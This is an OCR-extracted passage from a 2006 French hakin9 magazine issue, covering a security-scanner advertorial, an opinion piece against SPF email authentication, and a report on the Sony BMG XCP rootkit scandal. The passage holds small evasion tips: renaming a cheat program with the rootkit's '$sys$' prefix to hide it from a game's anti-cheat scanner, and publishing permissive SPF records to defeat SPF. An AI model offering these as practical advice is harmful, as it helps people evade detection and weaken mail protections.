sur un intellectual core breveté. Shadow Security Scanner peut scanner un système avec une telle vitesse et précision qu'il est capable de concurrencer les services professionnels de sécurité informatique ainsi que les pirates, tentant de forcer votre réseau. Lancé sur sa plateforme native Windows, Shadow Security Scanner peut également scanner des serveurs intégrés sur pratiquement n'importe quelle plateforme, en révélant avec succès d'éventuelles failles sous Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris et, bien sûr, Windows 95/98/ME/NT/2000/ XP/.NET. Grâce à son architecture unique, Shadow Security Scanner est le seul scanneur sécuritaire au monde capable de détecter des défauts avec CISCO, HP, ainsi que d'autre équipement réseau. Il s'agit également du seul scanneur commercial capable de suivre plus de 4 000 audits par système. À l'heure actuelle, Shadow Security Scanner supporte les services clés suivants : FTP, SSH, Telnet, SMTP, DNS, Finger, HTTP, POP3, IMAP, NetBIOS, NFS,

Contact:

NNTP, SNMP, Squid (Shadow Security Scanner est le seul scanneur à pouvoir auditer les serveurs mandataires, alors que les autres scanneurs se contentent de vérifier la disponibilité des ports), LDAP (Shadow Security Scanner est le seul scanneur capable d'auditer les serveurs LDAP, là où les autres scanneurs limitent leur action au contrôle des ports), HTTPS, SSL, TCP/IP, UDP, ainsi que les services Registry. Grâce à son architecture entièrement ouverte, qui repose sur ActiveX, n'importe quel professionnel maîtrisant VC++, C++ Builder ou Delphi peut facilement étendre les capacités du scanneur. La technologie ActiveX permet également aux administrateurs système d'intégrer Shadow Security Scanner à quasiment n'importe quel produit supportant ActiveX. En tant que scanneur de traitement des vulnérabilités réseau, Shadow Security Scanner propose un accès direct à son noyau. Il est donc possible d'utiliser l'interface de programmation (pour de plus amples informations, veuillez consulter la documentation sur l'interface de programmation) pour contrôler Shadow Security Scanner dans son intégralité ou modifier ses propriétés ainsi que ses fonctions. Les programmeurs amateurs maîtrisant les bases fondamentales des réseaux informatiques et ayant trouvé une nouvelle faille sécuritaire peuvent soit contacter directement Safety-Lab, soit utiliser l'assistant BaseSDK : ce dernier les guidera dans l'ensemble du processus relatif à la création d'un nouvel audit. BaseSDK permet également d'ajouter plus de 95% de nouveaux types d'audits. L'éditeur des règles et des réglages s'avèrera fondamental pour les utilisateurs désireux de ne scanner que les ports et les services sélectionnés, sans perdre ni de temps ni de ressources à scanner les autres services. Grâce à la flexibilité des réglages, les administrateurs de systèmes peuvent gérer le scan en profondeur, ainsi que d'autres options, afin de tirer parti d'une vitesse de scan du réseau optimisée sans aucune perte en qualité.

La fonction de scans simultanés de plusieurs réseaux (plus de 10 hôtes par session) a également été ajoutée afin d'améliorer la vitesse dans son ensemble. Ce scanneur est également doté d'une aptitude unique permettant de sauvegarder un journal détaillé du scan réalisé non seulement au format traditionnel HTML (disponible dans 99% des autres scanneurs), mais également aux formats XML, PDF, RTF et CHM (HTML compilé). La nouvelle interface est à la fois conviviale et simple. Optimisée, elle propose même un accès facilité aux principales fonctions du programme. La gestion des options de Shadow Security Scanner a également été très simplifiée : l'ensemble des éléments clés de l'interface du programme dispose de fenêtres d'aide en forme de bulle contenant une description précise des fonctions. L'assistant de mise à jour propose des mises à jour régulières des modules d'exécution du programme, contenant les informations de sécurités les plus récentes, véritable garantie d'une protection solide pour votre système ainsi que d'une résistance accrue contre les attaques malveillantes. Safety-Lab a également doté son nouveau produit d'un accès direct à son service Internet d'experts en sécurité ainsi qu'à sa zone de téléchargement mise à jour quotidiennement.

Attention ! Safety Lab offre aux lecteurs du magazine hakin9 une version complète de Shadow Security Scanner limitée à 5 adresses IP. Si vous souhaitez bénéficier de cette offre gratuite, il vous faudra installer une version disponible sur hakin9.live, puis envoyer un email à [email protected] en indiquant dans l'objet du mail Hakin9-Safety-lab SSS offer. Vous recevrez alors les codes pour bénéficier de l'offre gratuite, valide jusqu'au 31 mai 2006.

Safety-Lab adresse email : [email protected] http ://www.safety-lab.com/en

Publi-rédactionnel

Alentours

de CipherTrust mentionnée plus haut montrait déjà que plus de la moitié du courriel reçu par des serveurs protégés par SPF en provenance de domaines possédant un enregistrement SPF était du spam !

L'inadmissible

Nous avons clairement constaté que SPF peut être efficace pour la protection des noms de domaines (moindre usurpation des domaines qui publient un enregistrement SPF) et parfaitement inefficace contre le spam. Toutefois, il existe de véritables inconvénients à utiliser SPF, que l'administrateur d'un serveur pourra constater par un simple examen des journaux des courriers rejetés. Le plus ennuyeux avec SPF est qu'en réalité, il empêche la mise en œuvre du pre-delivery forwarding avant livraison (voir la Figure 1 pour plus d'explications). Le pre-delivery forwarding est un service rendu par quasiment tout serveur de messagerie depuis des années. Tout serveur de messagerie protégé par SPF doit refuser le pre-delivery forwarding sauf si le domaine utilisé pour la transmission publie un enregistrement SPF autorisant chacun à utiliser ce domaine dans l'adresse de l'émetteur. Or, si un domaine publie de telles données SPF, il peut être librement utilisé par les spammeurs et les arnaqueurs, ce qui réduit l'efficacité de SPF et augmente le risque de se retrouver sur la liste noire de certains serveurs. La plupart des comptes de messagerie autorisent aujourd'hui leurs utilisateurs à utiliser le predelivery forwarding. C'est logique : pourquoi recevoir du courriel de dix comptes différents quand tout le courriel peut être réacheminé vers un seul compte ? De nombreuses sociétés font reposer leur service sur l'acquisition de domaines au nom attractif et l'offre d'adresses gratuites avec pre-delivery forwarding du courrier pour leurs clients. C'est tout aussi logique : les ressources nécessaires pour offrir une adresse de courriel gratuite et attractive sont de loin inférieures à celles requises pour mettre en place des comptes

70

hakin9 Nº 2/2006

Figure 1. Comment SPF empêche le pre-delivery forwarding de messagerie complets et gratuits. Par conséquent, avec SPF, c'est un important volume d'affaires sur Internet qui est condamné. Une solution problématique, nommée SRS (Sender Rewriting Scheme), a été proposée pour apporter une solution au problème, mais elle n'est qu'un bricolage se superposant à une solution elle-même déjà bricolée. Selon ce mécanisme, en cas de pre-delivery forwarding, l'adresse de l'émetteur dans l'enveloppe devrait être récrite de telle manière que les données de l'émetteur originel soient préservées (et récupérées en cas de rejet du courriel) mais que le nom de domaine soit celui du serveur de transmission. Par exemple, si le serveur de messagerie nowhere.com transmet un courriel de [email protected], l'adresse de l'émetteur de l'enveloppe réécrite avec SRS deviendrait quelque

www.hakin9.org

chose comme SRS0=hash=times tamp=somewhere.net=joe@nowh ere.com. Non seulement, il suffirait de quelques sauts de transmission successifs pour qu'elle devienne rapidement trop longue pour le standard SMTP (64 caractères pour la partie locale d'après la RFC 2821) et serait rejetée par de nombreux serveurs de messagerie, mais cela exigerait aussi de tout relais SMTP qu'il implémente SRS pour pouvoir transmettre du courriel aux serveurs protégés par SPF. L'utilisation de SPF comporte d'autres aspects inadmissibles. Les données SPF se nichent dans un champ des enregistrements de domaine conçu à d'autres fins. SPF viole les RFC 1123, 974 et 2821. Il complique la vie des utilisateurs mobiles vu que ceux-ci doivent obligatoirement utiliser le serveur SMTP du FAI plutôt que leur propre service SMTP

Avantages et inconvénients de l'authentification de l'émetteur

local ou tout autre serveur SMTP de leur choix. Il repose sur un service non sécurisé (DNS, dont l'insécurité a été maintes fois démontrée), de sorte que les données SPF peuvent, elles aussi, être usurpées en vue d'usurper un domaine (par exemple, via une attaque par infection de DNS cache (DNS cache poisoning)). Il est discriminatoire, risqué et monopolistique. Et le pire est que les administrateurs de serveurs de messagerie, séduits par le battage médiatique, l'adoptent sans prendre le temps de réfléchir à leur décision ! Par conséquent et pour résumer : n'utilisez pas SPF. Tant qu'une solution intelligente pour l'authentification de l'émetteur n'aura pas été trouvée, nous devrons tous vivre avec l'insécurité intrinsèque du protocole de messagerie SMTP. Implémenter SPF, c'est agir comme un médecin qui amputerait la jambe de son patient pour soigner des piqûres de guêpes au pied. P

U

À propos de l'auteur

Tomasz Nidecki est directeur de la rédaction du magazine hakin9. Il jouit d'une vaste expérience dans les domaines de l'informatique et de la presse, qui remonte au milieu des années 80, quand, armé d'un vieux Commodore 64, il fréquentait les premiers réseaux (BBS, Fidonet) et bricolait en assembleur. Sa formation, acquise à l'université de Varsovie, couvre tant l'informatique que le journalisme. Durant près de quinze ans, il a partagé sa carrière entre missions pour la presse informatique et le secteur informatique. Outre ses tâches d'édition, de rédaction et de gestion, il administre des serveurs de messagerie. La spécialité et les centres d'intérêt de Tomasz sont essentiellement liés au courrier électronique, et à la protection contre le spam en particulier. Durant près de cinq ans, il a milité au sein de divers mouvements antispam en Pologne. Il a donné des conférences sur la protection contre le spam aux deux dernières conférences IT Underground.

L'avenir et les solutions alternatives

L'avenir ne semble guère brillant. Bien qu'il existe des projets intéressants, éventuellement plus difficiles à mettre en œuvre mais indéniablement mieux pensés, nous risquons de n'avoir d'autre choix que de nous accommoder de SPF. Et ce n'est pas à cause de SPF en soi (ses auteurs B

L

I

C

I

sont, en vérité, très modestes et conscients de ses lacunes) mais principalement de Microsoft. Son projet Sender ID repose pour l'essentiel sur l'architecture SPF. Personne n'ignore la puissance que Microsoft tire de sa position dominante sur le marché de l'informatique. Toute contribution de Microsoft, indépendamment du T

É

71

Alentours

fait qu'elle soit pertinente, logique ou conforme aux standards, sera utilisée par les utilisateurs pour la raison que, ordinairement, Microsoft l'intègre dans la configuration de Windows par défaut. Dès lors, si la prochaine version de Windows intègre le mécanisme Sender ID, nous serons bien contraints d'adopter Sender ID pour pouvoir communiquer avec des utilisateurs de Windows. C'est déplorable, mais ce ne serait certes pas la première fois qu'une telle démarche d'un leader contraigne le marché à adopter une mauvaise solution à la place d'une bonne. Nous pouvons malgré tout espérer que Microsoft comprendra que Sender ID n'est pas la solution et qu'une solution alternative doit être recherchée. Mais c'est un vœu pieux. D'autres projets intéressants existent en matière d'authentification de l'émetteur. Malheureusement, ils ne sont connus que des happy few et, contrairement à SPF et Sender ID, ils ne peuvent compter sur une promotion agressive des médias et des constructeurs. Par conséquent, même si elles sont meilleures, ces solutions risquent rapidement de finir au musée des curiosités. DomainKeys, solution mise au point par Yahoo!, est similaire à SPF à de nombreux égards ; quoiqu'elle introduise une couche supplémentaire de sécurité, elle repose sur la même approche, utilise aussi DNS pour la distribution et est la source de problèmes encore plus nombreux. La couche de sécurité supplémentaire tient au fait que la solution repose sur des clés publiques et privées et la signature des messages sortants par le serveur de messagerie. DomainKeys pose de nouveaux problèmes ; ceux-ci concernent l'utilisation des listes de diffusion et la surcharge du serveur qui assure le traitement des messages (en raison de la nécessité de créer des signatures chiffrées). D'autres idées existent. Tripoli, par exemple, repose sur l'idée d'une certification par une tierce partie

72

hakin9 Nº 2/2006

et plusieurs niveaux de certification. L'idée ne préconise aucune solution en particulier car le projet n'en est qu'aux premiers stades de développement et il est impossible à l'heure actuelle de savoir dans quelle direction il s'orientera et s'il débouchera sur une solution viable et intelligente. Il semble, en tout cas, intéressant. TEOS (Trusted Email Open Standard), un projet plus ancien que Tripoli, repose sur une idée similaire mais implique davantage de modifications de l'infrastructure de messagerie Internet. La proposition initiale remontant à trois ans, on peut estimer qu'on a là une assise intéressante pour le développement de futures solutions, mais la probabilité qu'elle soit implémentée est très faible.

Penser avant d'agir

La tendance actuelle à l'adoption de SPF par de grands fournisseurs de messagerie a de quoi effrayer. Les utilisateurs ont trop peu de pouvoir pour pouvoir y changer quoi que ce soit. Les fournisseurs de services gratuits ou commerciaux de messagerie sont de plus en plus nombreux à publier leurs enregistrements SPF, ce n'est pas mauvais en soi et n'hésitez pas à publier les vôtres, mais aussi à protéger leurs serveurs avec SPF (cela, c'est mauvais vu que cela force les autres à adopter la solution). Ce faisant, leur message

Sur Internet • • • • • • • • •

est Adoptez SPF ou vous ne pourrez pas communiquer avec nous. Comme si on vous disait : Utilisez DHL ou nous n'accepterons plus vos colis. Comment réagir ? En premier lieu, nous pouvons nous élever publiquement contre les solutions qui limitent le principe de liberté sous-jacent à Internet (sans se tromper de cible : les développeurs de ces solutions ont fait du bon travail mais n'ont probablement pas anticipé tous les problèmes). Nous pouvons rejeter tout le courrier des serveurs protégés par SPF qui rejettent nos courriels parce que nous n'avons pas publié d'enregistrement SPF. Il est possible que plus les rejets seront nombreux, plus les responsables de ces serveurs perdront des clients et seront amenés à comprendre que forcer d'autres administrateurs à implémenter leur solution pour rendre la communication possible est une très mauvaise idée. Enfin, nous pourrions modifier tous nos enregistrements SPF de manière à laisser à n'importe qui la liberté d'utiliser notre domaine et ainsi préserver le principe du predelivery forwarding de courrier tout en réduisant fortement l'efficacité de SPF sur les sites qui l'utilisent pour se protéger. Le choix est entre nos mains, tout comme l'avenir de la liberté du courrier électronique. l

http://homepages.tesco.net/~J.deBoynePollard/FGA/smtp-spf-is-harmful.html – plus d'informations sur les raisons d'abandonner SPF, http://www.taugh.com./mp/lmap.html – pourquoi les solutions d'émetteur désigné (designated sender) sont nuisibles, http://bradknowles.typepad.com/considered_harmful/2004/05/spf.html – article intéressant sur les lacunes de SPF, http://www.openspf.org/objections.html – réponse de SPF à certaines objections, http://antispam.yahoo.com/domainkeys – framework d'authentification de l'émetteur proposé par Yahoo!, http://www.microsoft.com/mscorp/safety/technologies/Sender ID/default.mspx – framework Sender ID de Microsoft, http://www.pfir.org/tripoli-overview – TRIPOLI : An Empowered E-Mail Environment, http://www.ftc.gov/bcp/workshops/spam/Supplements/eprivacygp.pdf – livre blanc sur Trusted Email Open Standard (TEOS), http://cobb.com/spam/teos.html – informations supplémentaires sur le projet TEOS.

www.hakin9.org

Sony, rootkit et cinquième pouvoir Alentours Michał Piotr Pręgowski

Degré de difficulté

Plus de 500 milles ordinateurs infectés, un scandale mondial et plusieurs procès en justice – c'est le résultat de l'installation par l'entreprise Sony BMG d'un logiciel espion sur les CDs musicaux. L'affaire a été révélée sur Internet par des spécialistes de la sécurité réseau, démontrant encore une fois l'efficacité et la rapidité de ce moyen de communication.

T

out est allé très vite. La première information sur le rootkit Sony est apparue le 31 octobre dans le blog de Mark Russinovich (Encadré Sur le réseau) et quelques jours plus tard, le monde entier était en effervescence. Le 10 novembre, l'entreprise Kaspersky Lab a informé de la détection d'un ver exploitant le rootkit Sony, obligeant quelques jours après, le géant multimédia a arrêter temporairement la vente des CDs protégés par la technologie controversée XCP (Extended Copy Protection) – officiellement, pour l'analyser du point de vue de la sécurité et de la commodité d'usage. Les Internautes étaient un peu dégoûtés, mais ils ont obtenu une chose très importante. C'était la prise de conscience qu'ils seront entendus s'ils parlent d'une seule voix. Cette histoire est bien connue. Russinovich, rédacteur de Windows IT Pro et ingénieur en logiciel chez Winternals Software, a détecté un rootkit non identifié sur son ordinateur et par déduction, il a réussi à trouver son auteur, l'entreprise First4Internet. Cet outil malicieux a été exploité dans la technologie XCP vendue par First4Internet aux différentes sociétés XCP, avec le rootkit intégré, a été utilisée par Sony BMG Music et c'est à partir du CD produit par

74

hakin9 Nº 2/2006

cette société que l'ordinateur de Russinovich a été infecté. La tempête s'est alors déchaînée et on a commencé à parler du rootkit de Sony et de la saga du rootkit de Sony BMG.

Erreur sur erreur

La liste des reproches fait à Sony et liée au rootkit est assez longue. Tout d'abord, les logiciels provenant des CDs musicaux de Sony BMG modifient Windows de façon à ce que l'utilisateur ne se rende pas compte de l'existence du programme fonctionnant comme

Cet article explique... • • •

ce qu'est le rootkit Sony et quels sont ses dangers, quelles erreurs ont été commises par Sony et qui s'y est intéressé, ce qu'est un cinquième pouvoir.

Ce qu'il faut savoir... •

www.hakin9.org

les notions de DRM (Digital Rights Management).

Coulisses du rootkit de Sony

Van Zant touché par le rootkit

Le groupe Van Zant dont le CD a infecté l'ordinateur de Mark Russinovich, n'a pas non plus la vie facile. Bien que sa relation directe avec le rootkit de Sony soit nulle, les clients ont déchiré à belles dents ce groupe qui joue de la country-rock. Les commentaires des clients d'Amazon.com ne laissaient pas de doutes – une étoile sur cinq possibles. La moyenne de plus de 250 votes au moment de la rédaction de cet article n'était pas supérieure. Mais dans certains commentaires négatifs, des clients se sont excusés auprès du groupe. La faiblesse de la note était plutôt un avertissement contre rootkit et de la politique de Sony et non pas une critique de la qualité de la musique du groupe. Plusieurs internautes incitaient d'ailleurs à boycotter Sony. Indépendamment de la faiblesse des notes, Van Zant a un double problème – premièrement, le CD du groupe ne vendra pas, et deuxièmement, le groupe ne gagnera même pas d'argent de la part de ses fans car ceux-ci, pour éviter tout risque, préféreront télécharger l'album à partir d'un réseau peer-to-peer.

un espion (spyware). Celui-ci collecte et envoie à Sony des informations sur l'utilisateur. Il sonne à la porte, en menaçant notre vie privée. De

plus, jusqu'au moment de la révélation du problème au public par les médias internationaux, et même plus tard, il était impossible de supprimer le

Comment fonctionne XCP •

•

•

•

• •

•

•

Le CD protégé par XCP est un CD multisessions : il contient les données audio dans un format traditionnel non protégé et le logiciel exploitant le mécanisme de lecture automatique sous Windows. Après l'insertion du CD dans le lecteur, le logiciel est installé à l'insu de l'utilisateur (pourtant, il nécessite des droits d'administration pour une installation correcte). Mais si l'utilisateur appuie sur la touche [Maj], le logiciel ne s'installe pas, et le CD sera considéré comme dangereux – les données audio peuvent être alors copiées sans problèmes. La protection est donc tout à fait inefficace. Les éléments dangereux du logiciel installé sont le rootkit et le programme espion. Le rootkit cache tous les fichiers, les processus, les répertoires, les clés de session, etc. dont le nom commence par $sys$ . Le programme espion est placé dans un répertoire caché par le rootkit. Après le démarrage du CD, le logiciel espion se connecte aux serveurs de Sony et transmet les informations suivantes : quel CD est lu, quand et à partir de quelle adresse IP la connexion est effectuée. Le logiciel installé surveille en permanence les processus démarrés sur l'ordinateur (en utilisant environ 1–2% de temps du processeur), en recherchant les programmes servant à copier les CDs audio et en génant leur fonctionnement : en cas d'une tentative de copie d'un CD (aussi bien protégé que non), il introduit des bruits parasites dans les données copiées. Il n'est pas facile de désinstaller le logiciel. S'il est supprimé, la stabilité du système Windows est menacée et il devient impossible de lire les CDs. Étant donné que le rootkit dissimule tous les fichiers portant un nom caractéristique, il peut être exploité pour cacher du code malicieux d'un tiers, par exemple des vers, virus et troyens. Les éléments du logiciel installé ont été nommés de façon à se faire passer pour les éléments essentiels du système Windows (par exemple les pilotes Plug and Play). Le logiciel fourni par Sony pour désinstaller le rootkit ne permet que de révéler les fichiers dissimulés et ne supprime pas les éléments espions du système. Pour pouvoir utiliser le désinstallateur, il faut s'enregistrer auprès le site de Sony ; pendant cet enregistrement, l'utilisateur doit entrer non seulement ses coordonnées, mais aussi installer un contrôle ActiveX. Ce contrôle est mal conçu et permet à un tiers d'exécuter du code quelconque sur l'ordinateur de l'utilisateur (il suffit que l'utilisateur visite une page spécialement préparée par le pirate pour que ce dernier prenne le contrôle complet de son système).

www.hakin9.org

rootkit Sony sans menacer la stabilité du système. Le premier correctif préparé par le géant de la musique était aussi compromettant – le correctif ne supprimait pas le spyware, mais révélait seulement son existence. Le plus intéressant dans cette affaire, c'est la réaction de Thomas Hesse de Sony BMG, qui dans l'interview du 4 novembre à la NPR a constaté que la plupart des gens ne savent pas ce qu'est un rootkit, alors il n'y a aucune raison qu'ils s'en soucient. Le milieu des spécialistes et des amateurs de la sécurité informatique s'est saisi de ce dérapage, l'équipe de F-Secure a même préparé des T-shirts spéciaux à cette occasion avec la citation exacte du chef de Sony: Most people don't even know what a rootkit is, so why should they care about it? D'ailleurs, ce n'était pas tout. Les clients désorientés ont longtemps attendu por obtenir la liste officielle des CDs contenant le programme dangereux (Encadré Sur le réseau). Quand l'entreprise a enfin fourni l'outil permettant d'éliminer le rootkit, lancé à partir du Web, il s'est avéré qu'il laissait le système vulnérable aux attaques extérieures. Le système «troué»par un outil Windows mal conçu permettait à presque chaque site Web d'installer et de lancer du code arbitriare sur l'ordinateur de l'utilisateur. Peut-on trouver un problème plus dangereux lié à la sécurité?

Les défenseurs de la loi la viole aussi L'affaire du rootkit de Sony a encore compromis le géant de deux autres manières. Dan Goodin du magazine Wired a annoncé que CDex, le très populaire programme de conversion des fichiers audio en MP3, fonctionnait très bien avec les CDs Sony BMG. Vu que le logiciel DRM Sony utilise le mécanisme d'autodémarrage des CDs, si l'utilisateur, pendant l'insertion d'un CD, appuie sur la touche [Maj], le rootkit et le programme espion ne seront pas installés et le CD devient considéré par le système comme dangereux. Il est alors possible de le copier sans aucun problème. On voit donc que

hakin9 Nº 2/2006

75

Alentours

le logiciel est non seulement dangereux pour l'utilisateur, mais aussi complètement inefficace pour Sony. De plus, selon différentes sources, Sony BMG a probablement violé les droits de licence relatifs à l'encodeur MP3 LAME. Selon DeWinter Information Solutions, le rootkit contenait des fragments du code de LAME. Et puisque LAME est disponible sous les termes de la licence LGPL (Lesser Gnu Public Licence), pour pouvoir l'utiliser conformément à la loi, il faut effectuer quelques démarches indispensables, entre autre publier le code source entier (par exemple, en le fournissant dans les bibliothèques open source). Il est aussi nécessaire de mentionner dans la note de copyright de l'utilisation de ce code. Sony ou son partenaire ne l'ont pas fait – tout simplement, ils ont fourni aux clients uniquement le code exécutable. Ces dernières années en Europe, beaucoup de verdicts coupables ont été prononcés suite à la violation des licences similaires à celle LGPL. Le cas de Sony est d'autant plus ironique qu'il s'agit de l'entreprise qui souligne constamment son souci de respect des droits d'auteur.

D'abord Breplibot, les autres après Au moment de la révélation par Mark Russinovich des informations sur le scandale, il était clair que, tôt ou tard, quelqu'un se déciderait à utiliser le rootkit à ses propres fins. En effet, déjà le 10 novembre, Kaspersky Lab a informé de l'appartion du premier ver exploitant XCP. Le parasite a été classifié par la société sous le nom Backdoor.Win32.Breplibot.b. Rapidementdes communiqués informaient de sa propagation – Breplibot arrive sur l'ordinateur comme un courrier électronique infecté intitulé Requesting Photo Approval et contenant la pièce jointe article_december_3621.exe. Par contre, The Register a informé d'une manière très intéressante d'exploiter ledit rootkit par les crackers. Grâce à la dissimulation de certains processus système, les crackers trichant au jeu World of Warcraft pour-

76

hakin9 Nº 2/2006

raient éviter la détection par Blizzard Entertainment. Si l'utilisateur change le nom du programme permettant la tricherie en $sys$nom_du_programme, le scanneur de Blizzard ne le voit plus et l'escroquerie ne pourra pas être découverte. Dan Kaminsky, spécialiste indépendant de la sécurité informatique de Seattle et célèbre hacker, a utilisé la technique DNS snooping pour vérifier combien de serveurs DNS avaient dans leur cache le nom du serveur contacté par le logiciel espion de Sony. Il a donc estimé que les requêtes liées directement au rootkit ont été envoyées à plus de 568 milles serveurs DNS cache. Kaminsky a publié les résultats de cette analyse sur le site Doxpara Research (Encadré Sur le réseau). Au moment où j'écris cet article, le nombre précis de contaminations n'est pas connu, mais on admet qu'il serait supérieur à celui extrapolé par Kaminsky. Ainsi, il ne reste plus qu'à attendre des versions plus ingénieuses de Breplibot ou d'autres virus exploitant le rootkit de Sony.

que des pannes et des redémarrages de l'ordinateur. On aurait pu penser que la sécurité et la fiabilité de son propre produit seraient prioritaires, alors que la firme de Redmond a seulement déclaré le 13 novembre qu'elle avait préparé la mise à jour de ses logiciels permettant d'éliminer le problème. Le 13 novembre tombait exactement deux semaines après la publication de Russinovich. Peu de gens pourraient s'attendre à ce qu'une épidémie se répande par des CDs ordinaires, mais – d'après Schneier – le fait que les ordinateurs soient infectés par une autre voie qu'Internet n'excuse pas les spécialistes de sécurité qui s'occupent de la détections des dangers. Qui d'autre pourrait alors les prévoir ? Cependant, le problème paraît assez grave – par une nouvelle voie, tout à fait inattendue, à la douce musique des CDs du studio Sony BMG, des ordinateurs des réseaux gouvernementaux et militaires ont été aussi infectés. Peut-être seulement ceux des américains, mais qui sait ?

Réaction retardée

EFF soutient et ne laisse pas passer

Les analyses préliminaires ont choqué Bruce Schneier, figure mondiale de la sécurité IT. Schneier souligne que l'étendu du problème ressemble à l'épidémie de Blaster, Code Red ou Nimda. Dans le feuilleton publié dans Wired, Schneier a d'ailleurs condamné les sociétés anti-virus pour leur réaction tardive – d'après lui, le rootkit aurait dû être détecté plus tôt. Le pire est que même après l'annonce parue sur le blog de Russinovich et une forte agitation autour de l'affaire, les fichiers de définitions des antivirus n'ont été mis à jour que plusieurs jours après. Quant à sa suppression, c'est encore pire. Schneier a apprécié la réactivité de seulement deux sociétés – Sysinternals et F-Secure, ce qu'elles ont d'ailleurs considéré comme un compliment tout à fait mérité. Schneier a critiqué aussi Microsoft de ne pas avoir réagit plus vite au problème. Comme l'on avait déjà dit, XCP modifie d'une façon très génante le système Windows, et dans certaines conditions provo-

www.hakin9.org

Les nombreuses erreurs et l'arrogance de Sony auront probablement raison d'elle au tribunal. L'entreprise a été assignée en justice par plusieurs groupes, surtout américains, dont l'Electronic Frontier Foundation (EFF), l'organisation la plus influente s'occupant de la protection des droits et des libertés sur Internet. L'un des membres de son conseil est Lawrence Lessig, professeur en droits et auteur de l'oeuvre connue Culture Libre. EFF est allé encore plus loin – il reproche à Sony BMG d'empêcher les clients de profiter de la musique de façon normale, par l'espionnage des goûts du client et l'installation de fichiers cachés sur son ordinateur et même d'utiliser sans autorisation la puissance du processeur (le programme utilise toujours 1–2% de temps du processeur, même quandle CD de Sony BMG n'est pas lu). Mais les objections les plus graves sont liés au fait que l'écoute de la musique dépend de l'acceptation des

Coulisses du rootkit de Sony

À propos de l' auteur

Michał Piotr Pręgowski est diplômé de la Faculté du Journalisme et des Sciences Politiques de l'Université de Varsovie. Actuellement, il travaille sur sa thèse de doctorat à l'Institut des Sciences Sociales Appliquées de la même Université. Il s'intéresse à l'influence des médias Web sur la société, à l'autoprésentation dans le Net et à la ludologie. Il tient son blog à l'adresse http://www.error300.org.

conditions abusives de la licence d'utilisateur final (End User Licence Agreement) et les biens personnels de l'utilisateur se retrouve menacé par l'exploitation possible par un tiers du rootkit présent sur l'ordinateur. Electronic Frontier Foundation s'est aussi intéressé au logiciel MediaMax, ajouté au plus de 20 millions de CDs de Sony BMG. D'après la fondation, dans ce cas, les droits des consommateurs sont également violés. Le programme s'installerait sur les ordinateurs des utilisateurs, même s'ils choisissent l'option non dans le contrat de licence, sans offrir d'option de désinstallation. Un autre reproche concerne le transfert des données sur les préférences musicales de l'utilisateur, bien que le contrat de licence informe que le programme n'effectue pas ce type d'opérations. Il semble que Sony s'expose à de sérieux ennuis.

Nous, le cinquième pouvoir Dans toute cette affaire, une chose est très intéressante. Encore une fois, la force du blog comme un nouveau moyen de transmission d'informations importantes a été démontrée. Le blogueur est là où le journaliste ne parviend pas– au moins en premier

lieu puisque que selon les études de Pew Internet & American Life Project, huit journalistes américains sur dix lisent les blogs. Ces derniers servent de guide aux médias traditionnels expliquant les phénomènes importants sur Internet. C'est un symbole d'un nouveau pouvoir naissant, le cinquième pouvoir. L'affaire du rootkit de Sony et du blog de Mark Russinovich démontre la force de ce moyen de communication. Certains commentateurs disent que les premières informations très générales sur le logiciel XCP avient été publiées plus tôt sur certains forums Web. Mais c'était le blog de Russinovich qui s'est hissé jusqu'aux discussions hors d'Internet et a suscité un vrai tremblement de terre. Il est temps que tous ceux qui tiennent à propager les informations véridiques – même celles délicates comme les failles dans les logiciels – se rendent compte qu'ils disposent d'un pouvoir énorme. Les relations entre les blogs de confiance et les services d'information basés sur la syndication RSS ont constitué un nouveau type de journalisme citoyen. Non seulement spécialisé, mais souvent plus rapide que celui traditionnel. Les informations indépendantes via Internet venant de Nouvelle Orléan

Sur Internet • • • • • • • •

http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html – Blog de Mark Russinovich, http://www.eff.org – Site d'Electronic Frontier Foundation, http://www.doxpara.com/?q=sony – Recherches de Dan Kaminsky, http://www.schneier.com – Site de Bruce Schneier, http://cp.sonybmg.com/xcp/english/titles.html – Liste des CDs protégés à l'aide de XCP, http://www.europe.f-secure.com/v-descs/xcp_drm.shtml – Analyse de XCP, http://www.f-secure.com/weblog/archives/archive-112005.html – Blog F-Secure, http://www.smartmobs.com – Blog consacré à l'application des idées provenant de l'ouvrage Smart Mobs de Howard Rheingold.

www.hakin9.org

après le passage de l'ouragan Katrine en sont le meilleur exemple. Les Internautes doivent être actifs et conscients non seulement là où se passent les choses importantes, mais en particulier dans les situations où l'on veut les faire taire. Ces tentatives sont bien connues des auteurs des sites parlant des nouveaux présidents de certains pays ou des coauteurs dessites Web publiant les informations sur les failles dans les logiciels. Le problème est toujours le même, comme le remède: la coopération. Howard Rheingold, philosophe, sociologue et visionnaire de l'époque d'Internet, auteur des oeuvres très célèbres The Virtual Community et Smart Mobs est convaincu que la technologie sans fil apportera une vraie révolution sociale. Comme il l'écrivait en 2001 les participants des évènements aux Philippines qui ont amené au renversement du président Estrada, se contactaient par SMS.

Conviction et coopération Pourtant, il semble que la force des liens entre Internautes engagés peut être aussi grande sans le support des technologies mobiles modernes. L'affaire du rootkit de Sony n'aboutit pas à renverser quelqu'un, même si sur Internet, on a entendu quelques appels aux boycott de Sony et de ses produits. Mais la technologie n'est pas tout – la conviction d'avoir raison est plus importante. Les blogs, les sites Web actifs, les groupes de discussion se sont vite saisi de ce que Mark Russinovich a présenté dans son blog. Par nos actions, nous sommes capables d'attirer l'attention des médias aussi bien sur les choses importantes que sur les tentatives pour nous faire taire. Espérons que le saga du rootkit de Sony nous amènera à une fin heureuse – des dédommagements pour et les clients. Ce serait un avertissement pour d'autres entreprises qui ne respectent pas notre vie privée. Mais il ne faut pas se faire d'illusions : nous devrons lutter sans cesse pour la préserver. Si notre coopération et les échanges d'informations sont bon, tant mieux pour nous. l

hakin9 Nº 2/2006

77

Un peu de noirceur dans un monde idéal Éditorial Konstantin Klyagin

Q

